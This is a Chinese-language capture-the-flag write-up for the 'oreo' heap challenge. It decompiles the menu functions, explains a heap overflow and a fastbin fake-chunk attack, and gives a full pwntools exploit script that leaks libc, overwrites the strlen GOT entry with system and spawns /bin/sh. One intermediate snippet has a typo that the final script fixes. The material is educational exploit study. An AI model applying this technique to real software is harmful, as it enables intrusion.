目录
常规检查
没有开启 RELRO ,意味我们可以修改 got 表地址。
逆向分析
What would you like to do?
1. Add new rifle
2. Show added rifles
3. Order selected rifles
4. Leave a Message with your Order
5. Show current stats
6. Exit!
Action:
Add 函数
unsigned int add()
{
char *v1; // [esp+18h] [ebp-10h]
unsigned int v2; // [esp+1Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
v1 = dword_804A288;
dword_804A288 = malloc(0x38u);
if ( dword_804A288 )
{
*(dword_804A288 + 13) = v1;
printf("Rifle name: ");
fgets(dword_804A288 + 25, 56, stdin);
set0(dword_804A288 + 25);
printf("Rifle description: ");
fgets(dword_804A288, 56, stdin);
set0(dword_804A288);
++dword_804A2A4;
}
else
{
puts("Something terrible happened!");
}
return __readgsdword(0x14u) ^ v2;
}
- dword_804A288:存储构造的块地址
- *(dword_804A288 + 13):在块地址的 13 字节处写入上一个块的地址
- *(dword_804A288 + 25):在块地址的 25 字节处写入 name ,可以写入 56 个字节,这里存在堆溢出
- *(dword_804A288):在块地址的起始处写入 description ,可以写入 56 个字节,这里存在堆溢出
- dword_804A2A4:记录 add 次数
Show 函数
unsigned int show()
{
char *i; // [esp+14h] [ebp-14h]
unsigned int v2; // [esp+1Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
printf("Rifle to be ordered:\n%s\n", "===================================");
for ( i = dword_804A288; i; i = *(i + 13) )
{
printf("Name: %s\n", i + 25);
printf("Description: %s\n", i);
puts("===================================");
}
return __readgsdword(0x14u) ^ v2;
}
(dword_804A288 + 13) 是上一个块的地址,所以 for 通过 (dword_804A288 + 13) 寻址遍历所有的块,并打印信息。
Order 函数
unsigned int order()
{
char *ptr; // ST18_4
char *v2; // [esp+14h] [ebp-14h]
unsigned int v3; // [esp+1Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
v2 = dword_804A288;
if ( dword_804A2A4 )
{
while ( v2 )
{
ptr = v2;
v2 = *(v2 + 13);
free(ptr);
}
dword_804A288 = 0;
++dword_804A2A0;
puts("Okay order submitted!");
}
else
{
puts("No rifles to be ordered!");
}
return __readgsdword(0x14u) ^ v3;
}
遍历并 free 掉所有块
- dword_804A2A0:记录 order 的次数
Leave 函数
unsigned int leave()
{
unsigned int v0; // ST1C_4
v0 = __readgsdword(0x14u);
printf("Enter any notice you'd like to submit with your order: ");
fgets(dword_804A2A8, 128, stdin);
set0(dword_804A2A8);
return __readgsdword(0x14u) ^ v0;
}
把 Message 写入 dword_804A2A8 处
show 函数
unsigned int show_0()
{
unsigned int v1; // [esp+1Ch] [ebp-Ch]
v1 = __readgsdword(0x14u);
puts("======= Status =======");
printf("New: %u times\n", dword_804A2A4);
printf("Orders: %u times\n", dword_804A2A0);
if ( *dword_804A2A8 )
printf("Order Message: %s\n", dword_804A2A8);
puts("======================");
return __readgsdword(0x14u) ^ v1;
}
分别打印 new 次数, order 次数和 message 内容。
利用思路
利用过程
泄露 libc 基址
name = "A" * 27 + p32(elf.got['printf'])
desc = 'b' * 24
add(name,desc)
show()
r.recvuntil('Description: ')
r.recvuntil('Description: ')
printfAddr = u32(r.recvn(4))
baseAddr = printAddr = libc.symbols['printf']
systemAddr = baseAddr + libc.symbols['system']
*(dword_804A288 + 13) 为 dword_804A288 后52个字节, name dword_804A288 + 25 为 dword_804A288 后 25 个字节,所以需要填充 27 个字节
伪造区块到 0x804a2a0
for i in range(0x3e):
add('a'* 27 + p32(0), 'a')
orderMsgAddr = 0x804a2a8
vulnName = 'C' * 27 + p32(orderMsgAddr)
add(vulnName,'D' * 24)
orderMsg = 'a' * (0x38 - (0xc0 - 0xa8) - 4)
orderMsg += '\x00' * 4 + 'a' * 4 + p32(0x40)
leave(orderMsg)
order()
我们想要一个能够让我们任意写的块,就需要用到 fastbin ,因为 fastbin 是 LIFO 的,只要我们 free 和 malloc 一样大小的 fastbin ,就能 malloc 到上次 free 的块。而 free 和 malloc 的时候都需要 size 满足 fastbin 的 index ,所以我们通过 add 0x40 次,将 fack chunk 的 size 改为 40。
gdb-peda$ x /20xg 0x0804a2a8
0x804a2a8: 0x000000000804a2c0 0x0000000000000000
0x804a2b8: 0x0000000000000000 0x6161616161616161
0x804a2c8: 0x6161616161616161 0x6161616161616161
0x804a2d8: 0x0000000061616161 0x0000004061616161
malloc 的时候还需要绕过 next chunk 的大小判断,而我们的 messge 是从 00804a2c0 开始写的,于是我们可以算的 next chunk 的偏移并改 next chunk 的 size 为 0x40 (大于 2 * SIZE_SZ 且小于 av->system_mem 就可以),这样当我们再次再 add 的时候,就能 malloc 到起始地址为 0x804a2a0 的块。
覆盖 got 表为 system 拿shell
strlenGotAddr = p32(elf.got['strlen'])
add('b',strlenGotAddr)
leave(p32(systemAddr) + ';/bin/sh')
这里首先把 strlen 的 got 表改为 system 地址,然后在 leave 的 set0 函数中还会再次调用 strlen ,就相当于调用了 system(system_got) 和 system('/bin/sh')。因为 system 函数有个特性,system("ls;/bin/sh") 就相当于 sytem("ls"); system("/bin/sh");。
exp脚本
from pwn_debug import *
pdbg = pwn_debug('oreo')
pdbg.local()
r = pdbg.run('local')
elf = ELF('./oreo')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
def add(name,desc):
r.sendline('1')
r.sendline(name)
r.sendline(desc)
def show():
r.sendline('2')
def order():
r.sendline('3')
def leave(message):
r.sendline('4')
r.sendline(message)
name = "A" * 27 + p32(elf.got['printf'])
desc = 'b' * 24
add(name,desc)
show()
r.recvuntil('Description: ')
r.recvuntil('Description: ')
printfAddr = u32(r.recvn(4))
baseAddr = printfAddr - libc.symbols['printf']
systemAddr = baseAddr + libc.symbols['system']
for i in range(0x3e):
add('a'* 27 + p32(0), 'a')
orderMsgAddr = 0x804a2a8
vulnName = 'C' * 27 + p32(orderMsgAddr)
add(vulnName,'D' * 24)
orderMsg = 'a' * (0x38 - (0xc0 - 0xa8) - 4)
orderMsg += '\x00' * 4 + 'a' * 4 + p32(0x40)
leave(orderMsg)
#gdb.attach(r)
order()
strlenGotAddr = p32(elf.got['strlen'])
add('b',strlenGotAddr)
leave(p32(systemAddr) + ';/bin/sh')
#gdb.attach(r)
r.interactive()